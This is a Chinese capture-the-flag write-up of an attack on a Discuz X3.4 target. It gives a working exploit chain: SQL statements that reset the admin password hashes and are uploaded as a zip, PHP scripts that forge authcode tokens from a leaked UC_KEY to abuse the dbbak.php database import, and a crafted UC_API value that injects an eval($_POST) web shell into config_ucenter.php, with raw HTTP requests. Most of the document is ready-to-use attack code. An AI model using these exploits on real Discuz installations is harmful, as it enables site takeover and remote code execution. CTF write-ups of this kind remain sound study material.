题目环境是一个靶机TP5RCE起手。里面有个bak2数据库。发现是Discuz的东西(估计是站库分离)。
想到Nu1l有个题和Discuz有关。也是泄露了数据库。
https://www.anquanke.com/post/id/205145#h3-4
https://hpdoger.cn/2020/05/11/title:%20Windows%E4%B8%8BDiscuz%20x3.4%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/
https://paper.seebug.org/1197/
管理员的hash、salt
pre_ucenter_members表
Client UC_KEY
pre_ucenter_applications表
Server UC_KEY
\uc_server\data\config.inc.php
这里大致看了下是因为泄露Client UC_KEY来sql注入。读到Server UC_KEY。从而伪造cookie。请求修改密码接口
然而我一打欸。本地可以。远程不行。原来。出题人把这给修了。至此还以为是要挖个0day。直接溜了。看其他题
欸。没想到。还有第二种办法。使用数据库备份配合前台文件上传修改管理员密码。具体看https://hpdoger.cn/2020/05/11/title:%20Windows%E4%B8%8BDiscuz%20x3.4%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/
这篇文章。安全客和paper的文章中。都没写这部分
首先。前台上传一个zip。内容如下
UPDATE IGNORE `pre_common_member` SET `uid` = 1,`email` = 'admin@admin.com',`username` = 'admin',`password` = 'dc3ca11de97e974a450ac978c5f01bd8',`status` = 0,`emailstatus` = 0,`avatarstatus` = 0,`videophotostatus` = 0,`adminid` = 1,`groupid` = 1,`groupexpiry` = 0,`extgroupids` = '',`regdate` = 1334725420,`credits` = 10,`notifysound` = 0,`timeoffset` = '',`newpm` = 0,`newprompt` = 0,`accessmasks` = 0,`allowadmincp` = 1,`onlyacceptfriendpm` = 0,`conisbind` = 0 WHERE `pre_common_member`.`uid` = 1;
UPDATE IGNORE `pre_ucenter_members` SET `uid` = 1,`username` = 'admin',`password` = 'f69a1d5054ecc78b988bbde05b8dfb88',`email` = 'admin@admin.com',`myid` = '',`myidkey` = '',`regip` = 'hidden',`regdate` = 1334725417,`lastloginip` = 0,`lastlogintime` = 0,`salt` = '97b07d',`secques` = '' WHERE `pre_ucenter_members`.`uid` = 1;
UPDATE IGNORE `pre_ucenter_admins` SET `uid` = 1,`username` = 'admin',`allowadminsetting` = 1,`allowadminapp` = 1,`allowadminuser` = 1,`allowadminbadword` = 1,`allowadmintag` = 1,`allowadminpm` = 1,`allowadmincredits` = 1,`allowadmindomain` = 1,`allowadmindb` = 1,`allowadminnote` = 1,`allowadmincache` = 1,`allowadminlog` = 1 WHERE `pre_ucenter_admins`.`uid` = 1;
然后用数据库中泄露的UC_KEY。计算出authcode。export数据库。因为我们上传的文件路径。存放在数据库的pre_forum_attachment_unused表中。
EXP:
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$uc_key = "t4Ma29kcC9e3J6C0Fdo3v5tba5G699b5H8n7s8rfJ18etcL0S5B5I2S2GeE7lblc";
$time = time() + 7200;
#$encode = "time=".$time."&method=import&dumpfile=../data/attachment/forum/202104/19/165333sl4tzalxxu484u1o.zip";
$encode = "time=".$time."&method=export&backupfilename=1&volume=1&tableid=123";
echo(urlencode(_authcode($encode,'ENCODE',$uc_key)));
请求http://127.0.0.1/api/db/dbbak.php?apptype=discuzx&code=2a4fgTZ7I1RzEZ5Os3yHqJb9CUAg%2Bqmhr6Rm4QRpEzDT7dlGMzzD61P7vBR86Uz04ryqvsTTAJgezRqzB4RLUayL6NuwZRt4nFjRUWoswj2BaWm7%2FHDMuhilJt5CwqsO
获得sql文件路径
得到我们上传的文件路径
/data/attachment/forum/202104/19/165552pbm4ng33m411l196.zip
再怼上exp
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$uc_key = "t4Ma29kcC9e3J6C0Fdo3v5tba5G699b5H8n7s8rfJ18etcL0S5B5I2S2GeE7lblc";
$time = time() + 7200;
$encode = "time=".$time."&method=import&dumpfile=../data/attachment/forum/202104/19/165552pbm4ng33m411l196.zip";
#$encode = "time=".$time."&method=export&backupfilename=1&volume=1&tableid=123";
echo(urlencode(_authcode($encode,'ENCODE',$uc_key)));
请求:
http://127.0.0.1/api/db/dbbak.php?apptype=discuzx&code=2bd8886k8cCUbpbpu0xrwlkVR3JzFzUOFF%2FhpwxynL0%2FP7CU1vusaCkoseRV0NY4hGjAWwB8u0F8ubeL6KMeTmgmTf7ib8TYmz7x2h%2BH8Wz3bA8VLWkfYbGkQtNe5X47YpRJwzAHzLCwZseCShjgPFLC11Rz4Ve1OrWI87GArOyD
此时。管理员密码已经改成780304了。成功进入后台
Getshell
密钥改为123456
访问地址改成http://127.0.0.1/uc_server');eval($_POST[sven]);//
EXP:
<?php
$uc_key="123456";//此处填写刚才UCenter设置的值
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : '123456');
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
请求
POST /api/uc.php?code=596d8C5w9blI17te9zUhJwF7Zk71Ce22Mhu1jnR9L0EOTJUSVZMmWVXu26%2b1XXiNnOIYVH0JOHT2%2fUASD0Y HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://127.0.0.1/uc_server</item></root>
利用配置项写入问题。逃逸了把\去掉。从而导致单引号逃逸
define('UC_API', 'http://127.0.0.1/uc_server\');eval($_POST[sven]);//');
#一开始写入的内容。经过了转义啥的
define('UC_API', 'http://127.0.0.1/uc_server');
#第二步。正则匹配单引号里面的内容。替换为我们输入的。也就是把http://127.0.0.1/uc_server\替换成了http://127.0.0.1/uc_server。变成了下面这样
define('UC_API', 'http://127.0.0.1/uc_server');eval($_POST[sven]);//');
访问http://127.0.0.1/config/config_ucenter.php成功getshell